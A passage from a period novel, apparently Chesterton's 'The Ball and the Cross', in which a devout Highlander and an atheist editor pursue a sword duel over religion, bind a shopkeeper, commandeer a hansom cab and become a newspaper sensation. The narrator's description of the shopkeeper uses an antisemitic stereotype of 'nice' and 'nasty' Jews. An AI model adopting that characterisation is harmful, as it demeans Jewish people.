you to break other people's windows because their opinions +do not agree with yours? This man only gave expression to his +sincere belief." + +"So did I," said the Highlander. + +"And who are you?" exploded Vane. "Are your views necessarily the +right ones? Are you necessarily in possession of the truth?" + +"Yes," said MacIan. + +The magistrate broke into a contemptuous laugh. + +"Oh, you want a nurse to look after you," he said. "You must pay +L10." + +Evan MacIan plunged his hands into his loose grey garment and +drew out a queer looking leather purse. It contained exactly +twelve sovereigns. He paid down the ten, coin by coin, in +silence, and equally silently returned the remaining two to the +receptacle. Then he said, "May I say a word, your worship?" + +Cumberland Vane seemed half hypnotized with the silence and +automatic movements of the stranger; he made a movement with his +head which might have been either "yes" or "no". "I only wished +to say, your worship," said MacIan, putting back the purse in his +trouser pocket, "that smashing that shop window was, I confess, a +useless and rather irregular business. It may be excused, +however, as a mere preliminary to further proceedings, a sort of +preface. Wherever and whenever I meet that man," and he pointed +to the editor of _The Atheist_, "whether it be outside this door +in ten minutes from now, or twenty years hence in some distant +country, wherever and whenever I meet that man, I will fight him. +Do not be afraid. I will not rush at him like a bully, or bear +him down with any brute superiority. I will fight him like a +gentleman; I will fight him as our fathers fought. He shall +choose how, sword or pistol, horse or foot. But if he refuses, I +will write his cowardice on every wall in the world. If he had +said of my mother what he said of the Mother of God, there is not +a club of clean men in Europe that would deny my right to call +him out. If he had said it of my wife, you English would +yourselves have pardoned me for beating him like a dog in the +market place. Your worship, I have no mother; I have no wife. I +have only that which the poor have equally with the rich; which +the lonely have equally with the man of many friends. To me this +whole strange world is homely, because in the heart of it there +is a home; to me this cruel world is kindly, because higher than +the heavens there is something more human than humanity. If a man +must not fight for this, may he fight for anything? I would fight +for my friend, but if I lost my friend, I should still be there. +I would fight for my country, but if I lost my country, I should +still exist. But if what that devil dreams were true, I should +not be--I should burst like a bubble and be gone. I could not +live in that imbecile universe. Shall I not fight for my own +existence?" + +The magistrate recovered his voice and his presence of mind. The +first part of the speech, the bombastic and brutally practical +challenge, stunned him with surprise; but the rest of Evan's +remarks, branching off as they did into theoretic phrases, gave +his vague and very English mind (full of memories of the hedging +and compromise in English public speaking) an indistinct +sensation of relief, as if the man, though mad, were not so +dangerous as he had thought. He went into a sort of weary +laughter. + +"For Heaven's sake, man," he said, "don't talk so much. Let other +people have a chance (laughter). I trust all that you said about +asking Mr. Turnbull to fight, may be regarded as rubbish. In case +of accidents, however, I must bind you over to keep the peace." + +"To keep the peace," repeated Evan, "with whom?" + +"With Mr. Turnbull," said Vane. + +"Certainly not," answered MacIan. "What has he to do with peace?" + +"Do you mean to say," began the magistrate, "that you refuse +to..." The voice of Turnbull himself clove in for the first time. + +"Might I suggest," he said, "That I, your worship, can settle to +some extent this absurd matter myself. This rather wild gentleman +promises that he will not attack me with any ordinary assault-- +and if he does, you may be sure the police shall hear of it. But +he says he will not. He says he will challenge me to a duel; and +I cannot say anything stronger about his mental state than to say +that I think that it is highly probable that he will. (Laughter.) +But it takes two to make a duel, your worship (renewed laughter). +I do not in the least mind being described on every wall in the +world as the coward who would not fight a man in Fleet Street, +about whether the Virgin Mary had a parallel in Mesopotamian +mythology. No, your worship. You need not trouble to bind him +over to keep the peace. I bind myself over to keep the peace, +and you may rest quite satisfied that there will be no duel with +me in it." + +Mr. Cumberland Vane rolled about, laughing in a sort of relief. + +"You're like a breath of April, sir," he cried. "You're ozone +after that fellow. You're perfectly right. Perhaps I have taken +the thing too seriously. I should love to see him sending you +challenges and to see you smiling. Well, well." + +Evan went out of the Court of Justice free, but strangely shaken, +like a sick man. Any punishment of suppression he would have felt +as natural; but the sudden juncture between the laughter of his +judge and the laughter of the man he had wronged, made him feel +suddenly small, or at least, defeated. It was really true that +the whole modern world regarded his world as a bubble. No cruelty +could have shown it, but their kindness showed it with a ghastly +clearness. As he was brooding, he suddenly became conscious of a +small, stern figure, fronting him in silence. Its eyes were grey +and awful, and its beard red. It was Turnbull. + +"Well, sir," said the editor of _The Atheist_, "where is the +fight to be? Name the field, sir." + +Evan stood thunderstruck. He stammered out something, he knew not +what; he only guessed it by the answer of the other. + +"Do I want to fight? Do I want to fight?" cried the furious +Free-thinker. "Why, you moonstruck scarecrow of superstition, do +you think your dirty saints are the only people who can die? +Haven't you hung atheists, and burned them, and boiled them, and +did they ever deny their faith? Do you think we don't want to +fight? Night and day I have prayed--I have longed--for an atheist +revolution--I have longed to see your blood and ours on the +streets. Let it be yours or mine?" + +"But you said..." began MacIan. + +"I know," said Turnbull scornfully. "And what did you say? You +damned fool, you said things that might have got us locked up for +a year, and shadowed by the coppers for half a decade. If you +wanted to fight, why did you tell that ass you wanted to? I got +you out, to fight if you want to. Now, fight if you dare." + +"I swear to you, then," said MacIan, after a pause. "I swear to +you that nothing shall come between us. I swear to you that +nothing shall be in my heart or in my head till our swords clash +together. I swear it by the God you have denied, by the Blessed +Lady you have blasphemed; I swear it by the seven swords in her +heart. I swear it by the Holy Island where my fathers are, by the +honour of my mother, by the secret of my people, and by the +chalice of the Blood of God." + +The atheist drew up his head. "And I," he said, "give my word." + + + +III. SOME OLD CURIOSITIES + +The evening sky, a dome of solid gold, unflaked even by a single +sunset cloud, steeped the meanest sights of London in a strange +and mellow light. It made a little greasy street of St. Martin's +Lane look as if it were paved with gold. It made the pawnbroker's +half-way down it shine as if it were really that Mountain of +Piety that the French poetic instinct has named it; it made the +mean pseudo-French bookshop, next but one to it, a shop packed +with dreary indecency, show for a moment a kind of Parisian +colour. And the shop that stood between the pawnshop and the shop +of dreary indecency, showed with quite a blaze of old world +beauty, for it was, by accident, a shop not unbeautiful in +itself. The front window had a glimmer of bronze and blue steel, +lit, as by a few stars, by the sparks of what were alleged to be +jewels; for it was in brief, a shop of bric-a-brac and old +curiosities. A row of half-burnished seventeenth-century swords +ran like an ornate railing along the front of the window; behind +was a darker glimmer of old oak and old armour; and higher up +hung the most extraordinary looking South Sea tools or utensils, +whether designed for killing enemies or merely for cooking them, +no mere white man could possibly conjecture. But the romance of +the eye, which really on this rich evening, clung about the shop, +had its main source in the accident of two doors standing open, +the front door that opened on the street and a back door that +opened on an odd green square of garden, that the sun turned to a +square of gold. There is nothing more beautiful than thus to look +as it were through the archway of a house; as if the open sky +were an interior chamber, and the sun a secret lamp of the place. + +I have suggested that the sunset light made everything lovely. To +say that it made the keeper of the curiosity shop lovely would be +a tribute to it perhaps too extreme. It would easily have made +him beautiful if he had been merely squalid; if he had been a Jew +of the Fagin type. But he was a Jew of another and much less +admirable type; a Jew with a very well-sounding name. For though +there are no hard tests for separating the tares and the wheat of +any people, one rude but efficient guide is that the nice Jew is +called Moses Solomon, and the nasty Jew is called Thornton Percy. +The keeper of the curiosity shop was of the Thornton Percy branch +of the chosen people; he belonged to those Lost Ten Tribes whose +industrious object is to lose themselves. He was a man still +young, but already corpulent, with sleek dark hair, heavy +handsome clothes, and a full, fat, permanent smile, which looked +at the first glance kindly, and at the second cowardly. The name +over his shop was Henry Gordon, but two Scotchmen who were in his +shop that evening could come upon no trace of a Scotch accent. + +These two Scotchmen in this shop were careful purchasers, but +free-handed payers. One of them who seemed to be the principal +and the authority (whom, indeed, Mr. Henry Gordon fancied he had +seen somewhere before), was a small, sturdy fellow, with fine +grey eyes, a square red tie and a square red beard, that he +carried aggressively forward as if he defied anyone to pull it. +The other kept so much in the background in comparison that he +looked almost ghostly in his grey cloak or plaid, a tall, sallow, +silent young man. + +The two Scotchmen were interested in seventeenth-century swords. +They were fastidious about them. They had a whole armoury of +these weapons brought out and rolled clattering about the +counter, until they found two of precisely the same length. +Presumably they desired the exact symmetry for some decorative +trophy. Even then they felt the points, poised the swords for +balance and bent them in a circle to see that they sprang +straight again; which, for decorative purposes, seems carrying +realism rather far. + +"These will do," said the strange person with the red beard. +"And perhaps I had better pay for them at once. And as you are +the challenger, Mr. MacIan, perhaps you had better explain the +situation." + +The tall Scotchman in grey took a step forward and spoke in a +voice quite clear and bold, and yet somehow lifeless, like a man +going through an ancient formality. + +"The fact is, Mr. Gordon, we have to place our honour in your +hands. Words have passed between Mr. Turnbull and myself on a +grave and invaluable matter, which can only be atoned for by +fighting. Unfortunately, as the police are in some sense pursuing +us, we are hurried, and must fight now and without seconds. But +if you will be so kind as to take us into your little garden and +see far play, we shall feel how----" + +The shopman recovered himself from a stunning surprise and burst +out: + +"Gentlemen, are you drunk? A duel! A duel in my garden. Go +home, gentlemen, go home. Why, what did you quarrel about?" + +"We quarrelled," said Evan, in the same dead voice, "about +religion." The fat shopkeeper rolled about in his chair with +enjoyment. + +"Well, this is a funny game," he said. "So you want to commit +murder on behalf of religion. Well, well my religion is a little +respect for humanity, and----" + +"Excuse me," cut in Turnbull, suddenly and fiercely, pointing +towards the pawnbroker's next door. "Don't you own that shop?" + +"Why--er--yes," said Gordon. + +"And don't you own that shop?" repeated the secularist, pointing +backward to the pornographic bookseller. + +"What if I do?" + +"Why, then," cried Turnbull, with grating contempt. "I will leave +the religion of humanity confidently in your hands; but I am +sorry I troubled you about such a thing as honour. Look here, my +man. I do believe in humanity. I do believe in liberty. My father +died for it under the swords of the Yeomanry. I am going to die +for it, if need be, under that sword on your counter. But if +there is one sight that makes me doubt it it is your foul fat +face. It is hard to believe you were not meant to be ruled like a +dog or killed like a cockroach. Don't try your slave's philosophy +on me. We are going to fight, and we are going to fight in your +garden, with your swords. Be still! Raise your voice above a +whisper, and I run you through the body." + +Turnbull put the bright point of the sword against the gay +waistcoat of the dealer, who stood choking with rage and fear, +and an astonishment so crushing as to be greater than either. + +"MacIan," said Turnbull, falling almost into the familiar tone of +a business partner, "MacIan, tie up this fellow and put a gag in +his mouth. Be still, I say, or I kill you where you stand." + +The man was too frightened to scream, but he struggled wildly, +while Evan MacIan, whose long, lean hands were unusually +powerful, tightened some old curtain cords round him, strapped a +rope gag in his mouth and rolled him on his back on the floor. + +"There's nothing very strong here," said Evan, looking about him. +"I'm afraid he'll work through that gag in half an hour or so." + +"Yes," said Turnbull, "but one of us will be killed by that +time." + +"Well, let's hope so," said the Highlander, glancing doubtfully +at the squirming thing on the floor. + +"And now," said Turnbull, twirling his fiery moustache and +fingering his sword, "let us go into the garden. What an +exquisite summer evening!" + +MacIan said nothing, but lifting his sword from the counter went +out into the sun. + +The brilliant light ran along the blades, filling the channels of +them with white fire; the combatants stuck their swords in the +turf and took off their hats, coats, waistcoats, and boots. Evan +said a short Latin prayer to himself, during which Turnbull made +something of a parade of lighting a cigarette which he flung away +the instant after, when he saw MacIan apparently standing ready. +Yet MacIan was not exactly ready. He stood staring like a man +stricken with a trance. + +"What are you staring at?" asked Turnbull. "Do you see the +bobbies?" + +"I see Jerusalem," said Evan, "all covered with the shields and +standards of the Saracens." + +"Jerusalem!" said Turnbull, laughing. "Well, we've taken the only +inhabitant into captivity." + +And he picked up his sword and made it whistle like a boy's wand. + +"I beg your pardon," said MacIan, dryly. "Let us begin." + +MacIan made a military salute with his weapon, which Turnbull +copied or parodied with an impatient contempt; and in the +stillness of the garden the swords came together with a clear +sound like a bell. The instant the blades touched, each felt them +tingle to their very points with a personal vitality, as if they +were two naked nerves of steel. Evan had worn throughout an air +of apathy, which might have been the stale apathy of one who +wants nothing. But it was indeed the more dreadful apathy of one +who wants something and will care for nothing else. And this was +seen suddenly; for the instant Evan engaged he disengaged and +lunged with an infernal violence. His opponent with a desperate +promptitude parried and riposted; the parry only just succeeded, +the riposte failed. Something big and unbearable seemed to have +broken finally out of Evan in that first murderous lunge, leaving +him lighter and cooler and quicker upon his feet. He fell to +again, fiercely still, but now with a fierce caution. The next +moment Turnbull lunged; MacIan seemed to catch the point and +throw it away from him, and was thrusting back like a +thunderbolt, when a sound paralysed him; another sound beside +their ringing weapons. Turnbull, perhaps from an equal +astonishment, perhaps from chivalry, stopped also and forebore to +send his sword through his exposed enemy. + +"What's that?" asked Evan, hoarsely. + +A heavy scraping sound, as of a trunk being dragged along a +littered floor, came from the dark shop behind them. + +"The old Jew has broken one of his strings, and he's crawling +about," said Turnbull. "Be quick! We must finish before he gets +his gag out." + +"Yes, yes, quick! On guard!" cried the Highlander. The blades +crossed again with the same sound like song, and the men went to +work again with the same white and watchful faces. Evan, in his +impatience, went back a little to his wildness. He made +windmills, as the French duellists say, and though he was +probably a shade the better fencer of the two, he found the +other's point pass his face twice so close as almost to graze his +cheek. The second time he realized the actual possibility of +defeat and pulled himself together under a shock of the sanity of +anger. He narrowed, and, so to speak, tightened his operations: +he fenced (as the swordsman's boast goes), in a wedding ring; he +turned Turnbull's thrusts with a maddening and almost mechanical +click, like that of a machine. Whenever Turnbull's sword sought +to go over that other mere white streak it seemed to be caught in +a complex network of steel. He turned one thrust, turned another, +turned another. Then suddenly he went forward at the lunge with +his whole living weight. Turnbull leaped back, but Evan lunged +and lunged and lunged again like a devilish piston rod or +battering ram. And high above all the sound of the struggle there +broke into the silent evening a bellowing human voice, nasal, +raucous, at the highest pitch of pain. "Help! Help! Police! +Murder! Murder!" The gag was broken; and the tongue of terror +was loose. + +"Keep on!" gasped Turnbull. "One may be killed before they come." + +The voice of the screaming shopkeeper was loud enough to drown +not only the noise of the swords but all other noises around it, +but even through its rending din there seemed to be some other +stir or scurry. And Evan, in the very act of thrusting at +Turnbull, saw something in his eyes that made him drop his sword. +The atheist, with his grey eyes at their widest and wildest, was +staring straight over his shoulder at the little archway of shop +that opened on the street beyond. And he saw the archway blocked +and blackened with strange figures. + +"We must bolt, MacIan," he said abruptly. "And there isn't a +damned second to lose either. Do as I do." + +With a bound he was beside the little cluster of his clothes and +boots that lay on the lawn; he snatched them up, without waiting +to put any of them on; and tucking his sword under his other arm, +went wildly at the wall at the bottom of the garden and swung +himself over it. Three seconds after he had alighted in his socks +on the other side, MacIan alighted beside him, also in his socks +and also carrying clothes and sword in a desperate bundle. + +They were in a by-street, very lean and lonely itself, but so +close to a crowded thoroughfare that they could see the vague +masses of vehicles going by, and could even see an individual +hansom cab passing the corner at the instant. Turnbull put his +fingers to his mouth like a gutter-snipe and whistled twice. Even +as he did so he could hear the loud voices of the neighbours and +the police coming down the garden. + +The hansom swung sharply and came tearing down the little lane at +his call. When the cabman saw his fares, however, two wild-haired +men in their shirts and socks with naked swords under their arms, +he not unnaturally brought his readiness to a rigid stop and +stared suspiciously. + +"You talk to him a minute," whispered Turnbull, and stepped back +into the shadow of the wall. + +"We want you," said MacIan to the cabman, with a superb Scotch +drawl of indifference and assurance, "to drive us to St. Pancras +Station--verra quick." + +"Very sorry, sir," said the cabman, "but I'd like to know it was +all right. Might I arst where you come from, sir?" + +A second after he spoke MacIan heard a heavy voice on the other +side of the wall, saying: "I suppose I'd better get over and look +for them. Give me a back." + +"Cabby," said MacIan, again assuming the most deliberate and +lingering lowland Scotch intonation, "if ye're really verra +anxious to ken whar a' come fra', I'll tell ye as a verra great +secret. A' come from Scotland. And a'm gaein' to St. Pancras +Station. Open the doors, cabby." + +The cabman stared, but laughed. The heavy voice behind the wall +said: "Now then, a better back this time, Mr. Price." And from +the shadow of the wall Turnbull crept out. He had struggled +wildly into his coat (leaving his waistcoat on the pavement), and +he was with a fierce pale face climbing up the cab behind the +cabman. MacIan had no glimmering notion of what he was up to, but +an instinct of discipline, inherited from a hundred men of war, +made him stick to his own part and trust the other man's. + +"Open the doors, cabby," he repeated, with something of the +obstinate solemnity of a drunkard, "open the doors. Did ye no +hear me say St. Pancras Station?" + +The top of a policeman's helmet appeared above the garden wall. +The cabman did not see it, but he was still suspicious and began: + +"Very sorry, sir, but..." and with that the catlike Turnbull tore +him out of his seat and hurled him into the street below, where +he lay suddenly stunned. + +"Give me his hat," said Turnbull in a silver voice, that the +other obeyed like a bugle. "And get inside with the swords." + +And just as the red and raging face of a policeman appeared above +the wall, Turnbull struck the horse with a terrible cut of the +whip and the two went whirling away like a boomerang. + +They had spun through seven streets and three or four squares +before anything further happened. Then, in the neighbourhood of +Maida Vale, the driver opened the trap and talked through it in a +manner not wholly common in conversations through that aperture. + +"Mr. MacIan," he said shortly and civilly. + +"Mr. Turnbull," replied his motionless fare. + +"Under circumstances such as those in which we were both recently +placed there was no time for anything but very abrupt action. I +trust therefore that you have no cause to complain of me if I +have deferred until this moment a consultation with you on our +present position or future action. Our present position, Mr. +MacIan, I imagine that I am under no special necessity of +describing. We have broken the law and we are fleeing from its +officers. Our future action is a thing about which I myself +entertain sufficiently strong views; but I have no right to +assume or to anticipate yours, though I may have formed a decided +conception of your character and a decided notion of what they +will probably be. Still, by every principle of intellectual +justice, I am bound to ask you now and seriously whether you wish +to continue our interrupted relations." + +MacIan leant his white and rather weary face back upon the +cushions in order to speak up through the open door. + +"Mr. Turnbull," he said, "I have nothing to add to what I have +said before. It is strongly borne in upon me that you and I, the +sole occupants of this runaway cab, are at this moment the two +most important people in London, possibly in Europe. I have been +looking at all the streets as we went past, I have been looking +at all the shops as we went past, I have been looking at all the +churches as we went past. At first, I felt a little dazed with +the vastness of it all. I could not understand what it all meant. +But now I know exactly what it all means. It means us. This whole +civilization is only a dream. You and I are the realities." + +"Religious symbolism," said Mr. Turnbull, through the trap, "does +not, as you are probably aware, appeal ordinarily to thinkers of +the school to which I belong. But in symbolism as you use it in +this instance, I must, I think, concede a certain truth. We +_must_ fight this thing out somewhere; because, as you truly say, +we have found each other's reality. We _must_ kill each other--or +convert each other. I used to think all Christians were +hypocrites, and I felt quite mildly towards them really. But I +know you are sincere--and my soul is mad against you. In the same +way you used, I suppose, to think that all atheists thought +atheism would leave them free for immorality--and yet in your +heart you tolerated them entirely. Now you _know_ that I am an +honest man, and you are mad against me, as I am against you. Yes, +that's it. You can't be angry with bad men. But a good man in the +wrong--why one thirsts for his blood. Yes, you open for me a +vista of thought." + +"Don't run into anything," said Evan, immovably. + +"There's something in that view of yours, too," said Turnbull, +and shut down the trap. + +They sped on through shining streets that shot by them like +arrows. Mr. Turnbull had evidently a great deal of unused +practical talent which was unrolling itself in this ridiculous +adventure. They had got away with such stunning promptitude that +the police chase had in all probability not even properly begun. +But in case it had, the amateur cabman chose his dizzy course +through London with a strange dexterity. He did not do what would +have first occurred to any ordinary outsider desiring to destroy +his tracks. He did not cut into by-ways or twist his way through +mean streets. His amateur common sense told him that it was +precisely the poor street, the side street, that would be likely +to remember and report the passing of a hansom cab, like the +passing of a royal procession. He kept chiefly to the great +roads, so full of hansoms that a wilder pair than they might +easily have passed in the press. In one of the quieter streets +Evan put on his boots. + +Towards the top of Albany Street the singular cabman again opened +the trap. + +"Mr. MacIan," he said, "I understand that we have now definitely +settled that in the conventional language honour is not +satisfied. Our action must at least go further than it has gone +under recent interrupted conditions. That, I believe, is +understood." + +"Perfectly," replied the other with his bootlace in his teeth. + +"Under those conditions," continued Turnbull, his voice coming +through the hole with a slight note of trepidation very unusual +with him, "I have a suggestion to make, if that can be called a +suggestion, which has probably occurred to you as readily as to +me. Until the actual event comes off we are practically in the +position if not of comrades, at least of business partners. Until +the event comes off, therefore I should suggest that quarrelling +would be inconvenient and rather inartistic; while the ordinary +exchange of politeness between man and man would be not only +elegant but uncommonly practical." + +"You are perfectly right," answered MacIan, with his melancholy +voice, "in saying that all this has occurred to me. All duellists +should behave like gentlemen to each other. But we, by the +queerness of our position, are something much more than either +duellists or gentlemen. We are, in the oddest and most exact +sense of the term, brothers--in arms." + +"Mr. MacIan," replied Turnbull, calmly, "no more need be said." +And he closed the trap once more. + +They had reached Finchley Road before he opened it again. + +Then he said, "Mr. MacIan, may I offer you a cigar. It will be a +touch of realism." + +"Thank you," answered Evan. "You are very kind." And he began to +smoke in the cab. + + + +IV. A DISCUSSION AT DAWN + +The duellists had from their own point of view escaped or +conquered the chief powers of the modern world. They had +satisfied the magistrate, they had tied the tradesman neck and +heels, and they had left the police behind. As far as their own +feelings went they had melted into a monstrous sea; they were but +the fare and driver of one of the million hansoms that fill +London streets. But they had forgotten something; they had +forgotten journalism. They had forgotten that there exists in +the modern world, perhaps for the first time in history, a class +of people whose interest is not that things should happen well or +happen badly, should happen successfully or happen +unsuccessfully, should happen to the advantage of this party or +the advantage of that part, but whose interest simply is that +things should happen. + +It is the one great weakness of journalism as a picture of our +modern existence, that it must be a picture made up entirely of +exceptions. We announce on flaring posters that a man has fallen +off a scaffolding. We do not announce on flaring posters that a +man has not fallen off a scaffolding. Yet this latter fact is +fundamentally more exciting, as indicating that that moving tower +of terror and mystery, a man, is still abroad upon the earth. +That the man has not fallen off a scaffolding is really more +sensational; and it is also some thousand times more common. But +journalism cannot reasonably be expected thus to insist upon the +permanent miracles. Busy editors cannot be expected to put on +their posters, "Mr. Wilkinson Still Safe," or "Mr. Jones, of +Worthing, Not Dead Yet." They cannot announce the happiness of +mankind at all. They cannot describe all the forks that are not +stolen, or all the marriages that are not judiciously dissolved. +Hence the complete picture they give of life is of necessity +fallacious; they can only represent what is unusual. However +democratic they may be, they are only concerned with the +minority. + +The incident of the religious fanatic who broke a window on +Ludgate Hill was alone enough to set them up in good copy for the +night. But when the same man was brought before a magistrate and +defied his enemy to mortal combat in the open court, then the +columns would hardly hold the excruciating information, and the +headlines were so large that there was hardly room for any of the +text. The _Daily Telegraph_ headed a column, "A Duel on +Divinity," and there was a correspondence afterwards which lasted +for months, about whether police magistrates ought to mention +religion. The _Daily Mail_ in its dull, sensible way, headed the +events, "Wanted to fight for the Virgin." Mr. James Douglas, in +_The Star_, presuming on his knowledge of philosophical and +theological terms, described the Christian's outbreak under the +title of "Dualist and Duellist." The _Daily News_ inserted a +colourless account of the matter, but was pursued and eaten up +for some weeks, with letters from outlying ministers, headed +"Murder and Mariolatry." But the journalistic temperature was +steadily and consistently heated by all these influences; the +journalists had tasted blood, prospectively, and were in the mood +for more; everything in the matter prepared them for further +outbursts of moral indignation. And when a gasping reporter +rushed in in the last hours of the evening with the announcement +that the two heroes of the Police Court had literally been found +fighting in a London back garden, with a shopkeeper bound and +gagged in the front of the house, the editors and sub-editors +were stricken still as men are by great beatitudes. + +The next morning, five or six of the great London dailies burst +out simultaneously into great blossoms of eloquent +leader-writing. Towards the end all the leaders tended to be the +same, but they all began differently. The _Daily Telegraph_, for +instance began, "There will be little difference among our +readers or among all truly English and law-abiding men touching +the, etc. etc." The _Daily Mail_ said, "People must learn, in the +modern world, to keep their theological differences to +themselves. The fracas, etc. etc." The _Daily News_ started, +"Nothing could be more inimical to the cause of true religion +than, etc. etc." The _Times_ began with something about Celtic +disturbances of the equilibrium of Empire, and the _Daily +Express_ distinguished itself splendidly by omitting altogether +so controversial a matter and substituting a leader about +goloshes. + +And the morning after that, the editors and the newspapers were +in such a state, that, as the phrase is, there was no holding +them. Whatever secret and elvish thing it is that broods over +editors and suddenly turns their brains, that thing had seized on +the story of the broken glass and the duel in the garden. It +became monstrous and omnipresent, as do in our time the +unimportant doings of the sect of the Agapemonites, or as did at +an earlier time the dreary dishonesties of the Rhodesian +financiers. Questions were asked about it, and even answered, in +the House of Commons. The Government was solemnly denounced in +the papers for not having done something, nobody knew what, to +prevent the window being broken. An enormous subscription was +started to reimburse Mr. Gordon, the man who had been gagged in +the shop. Mr. MacIan, one of the combatants, became for some +mysterious reason, singly and hugely popular as a comic figure in +the comic papers and on the stage of the music hall. He was +always represented (in defiance of fact), with red whiskers, and +a very red nose, and in full Highland costume. And a song, +consisting of an unimaginable number of verses, in which his name +was rhymed with flat iron, the British Lion, sly 'un, dandelion, +Spion (With Kop in the next line), was sung to crowded houses +every night. The papers developed a devouring thirst for the +capture of the fugitives; and when they had not been caught for +forty-eight hours, they suddenly turned the whole matter into a +detective mystery. Letters under the heading, "Where are They," +poured in to every paper, with every conceivable kind of +explanation, running them to earth in the Monument, the Twopenny +Tube, Epping Forest, Westminster Abbey, rolled up in carpets at +Shoolbreds, locked up in safes in Chancery Lane. Yes, the papers +were very interesting, and Mr. Turnbull unrolled a whole bundle +of them for the amusement of Mr. MacIan as they sat on a high +common to the north of London, in the coming of the white dawn. + +The darkness in the east had been broken with a bar of grey; the +bar of grey was split with a sword of silver and morning lifted +itself laboriously over London. From the spot where Turnbull and +MacIan were sitting on one of the barren steeps behind Hampstead, +they could see the whole of London shaping itself vaguely and +largely in the grey and growing light, until the white sun stood +over it and it lay at their feet, the splendid monstrosity that +it is. Its bewildering squares and parallelograms were compact +and perfect as a Chinese puzzle; an enormous hieroglyphic which +man must decipher or die. There fell upon both of them, but upon +Turnbull more than the other, because he know more what the scene +signified, that quite indescribable sense as of a sublime and +passionate and heart-moving futility, which is never evoked by +deserts or dead men or men neglected and barbarous, which can +only be invoked by the sight of the enormous genius of man +applied to anything other than the best. Turnbull, the old +idealistic democrat, had so often reviled the democracy and +reviled them justly for their supineness, their snobbishness, +their evil reverence for idle things. He was right enough; for +our democracy has only one great fault; it is not democratic. And +after denouncing so justly average modern men for so many years +as sophists and as slaves, he looked down from an empty slope in +Hampstead and saw what gods they are. Their achievement seemed +all the more heroic and divine, because it seemed doubtful +whether it was worth doing at all. There seemed to be something +greater than mere accuracy in making such a mistake as London. +And what was to be the end of it all? what was to be the ultimate +transformation of this common and incredible London man, this +workman on a tram in Battersea, his clerk on an omnibus in +Cheapside? Turnbull, as he stared drearily, murmured to himself +the words of the old atheistic and revolutionary Swinburne who +had intoxicated his youth: + + "And still we ask if God or man + Can loosen thee Lazarus; + Bid thee rise up republican, + And save thyself and all of us. + But no disciple's tongue can say + If thou can'st take our sins away." + +Turnbull shivered slightly as if behind the earthly morning he +felt the evening of the world, the sunset of so many hopes. Those +words were from "Songs before Sunrise". But Turnbull's songs at +their best were songs after sunrise, and sunrise had been no such +great thing after all. Turnbull shivered again in the sharp +morning air. MacIan was also gazing with his face towards the +city, but there was that about his blind and mystical stare that +told one, so to speak, that his eyes were turned inwards. When +Turnbull said something to him about London, they seemed to move +as at a summons and come out like two householders coming out +into their doorways. + +"Yes," he said, with a sort of stupidity. "It's a very big +place." + +There was a somewhat unmeaning silence, and then MacIan said +again: + +"It's a very big place. When I first came into it I was +frightened of it. Frightened exactly as one would be frightened +at the sight of a man forty feet high. I am used to big things +where I come from, big mountains that seem to fill God's +infinity, and the big sea that goes to the end of the world. But +then these things are all shapeless and confused things, not made +in any familiar form. But to see the plain, square, human things +as large as that, houses so large and streets so large, and the +town itself so large, was like having screwed some devil's +magnifying glass into one's eye. It was like seeing a porridge +bowl as big as a house, or a mouse-trap made to catch elephants." + +"Like the land of the Brobdingnagians," said Turnbull, smiling. + +"Oh! Where is that?" said MacIan. + +Turnbull said bitterly, "In a book," and the silence fell +suddenly between them again. + +They were sitting in a sort of litter on the hillside; all the +things they had hurriedly collected, in various places, for their +flight, were strewn indiscriminately round them. The two swords +with which they had lately sought each other's lives were flung +down on the grass at random, like two idle walking-sticks. Some +provisions they had bought last night, at a low public house, in +case of undefined contingencies, were tossed about like the +materials of an ordinary picnic, here a basket of chocolate, and +there a bottle of wine. And to add to the disorder finally, there +were strewn on top of everything, the most disorderly of modern +things, newspapers, and more newspapers, and yet again +newspapers, the ministers of the modern anarchy. Turnbull picked +up one of them drearily, and took out a pipe. + +"There's a lot about us," he said. "Do you mind if I light up?" + +"Why should I mind?" asked MacIan. + +Turnbull eyed with a certain studious interest, the man who did +not understand any of the verbal courtesies; he lit his pipe and +blew great clouds out of it. + +"Yes," he resumed. "The matter on which you and I are engaged is +at this moment really the best copy in England. I am a +journalist, and I know. For the first time, perhaps, for many +generations, the English are really more angry about a wrong +thing done in England than they are about a wrong thing done in +France." + +"It is not a wrong thing," said MacIan. + +Turnbull laughed. "You seem unable to understand the ordinary use +of the human language. If I did not suspect that you were a +genius, I should certainly know you were a blockhead. I fancy we +had better be getting along and collecting our baggage." + +And he jumped up and began shoving the luggage into his pockets, +or strapping it on to his back. As he thrust a tin of canned +meat, anyhow, into his bursting side pocket, he said casually: + +"I only meant that you and I are the most prominent people in the +English papers." + +"Well, what did you expect?" asked MacIan, opening his great +grave blue eyes. + +"The papers are full of us," said Turnbull, stooping to pick up +one of the swords. + +MacIan stooped and picked up the other. + +"Yes," he said, in his simple way. "I have read what they have to +say. But they don't seem to understand the point." + +"The point of what?" asked Turnbull. + +"The point of the sword," said MacIan, violently, and planted the +steel point in the soil like a man planting a tree. + +"That is a point," said Turnbull, grimly, "that we will discuss +later. Come along." + +Turnbull tied the last tin of biscuits desperately to himself +with string; and then spoke, like a diver girt for plunging, +short and sharp. + +"Now, Mr. MacIan, you must listen to me. You must listen to me, +not merely because I know the country, which you might learn by +looking at a map, but because I know the people of the country, +whom you could not know by living here thirty years. That +infernal city down there is awake; and it is awake against us. +All those endless rows of windows and windows are all eyes +staring at us. All those forests of chimneys are fingers pointing +at us, as we stand here on the hillside. This thing has caught +on. For the next six mortal months they will think of nothing but +us, as for six mortal months they thought of nothing but the +Dreyfus case. Oh, I know it's funny. They let starving children, +who don't want to die, drop by the score without looking round. +But because two gentlemen, from private feelings of delicacy, do +want to die, they will mobilize the army and navy to prevent +them. For half a year or more, you and I, Mr. MacIan, will be an +obstacle to every reform in the British Empire. We shall prevent +the Chinese being sent out of the Transvaal and the blocks being +stopped in the Strand. We shall be the conversational substitute +when anyone recommends Home Rule, or complains of sky signs. +Therefore, do not imagine, in your innocence, that we have only +to melt away among those English hills as a Highland cateran +might into your god-forsaken Highland mountains. We must be +eternally on our guard; we must live the hunted life of two +distinguished criminals. We must expect to be recognized as much +as if we were Napoleon escaping from Elba. We must be prepared +for our descriptions being sent to every tiny village, and for +our faces being recognized by every ambitious policeman. We must +often sleep under the stars as if we were in Africa. Last and +most important we must not dream of effecting our--our final +settlement, which will be a thing as famous as the Phoenix Park +murders, unless we have made real and precise arrangements for +our isolation--I will not say our safety. We must not, in short, +fight until we have thrown them off our scent, if only for a +moment. For, take my word for it, Mr. MacIan, if the British +Public once catches us up, the British Public will prevent the +duel, if it is only by locking us both up in asylums for the rest +of our days." + +MacIan was looking at the horizon with a rather misty look. + +"I am not at all surprised," he said, 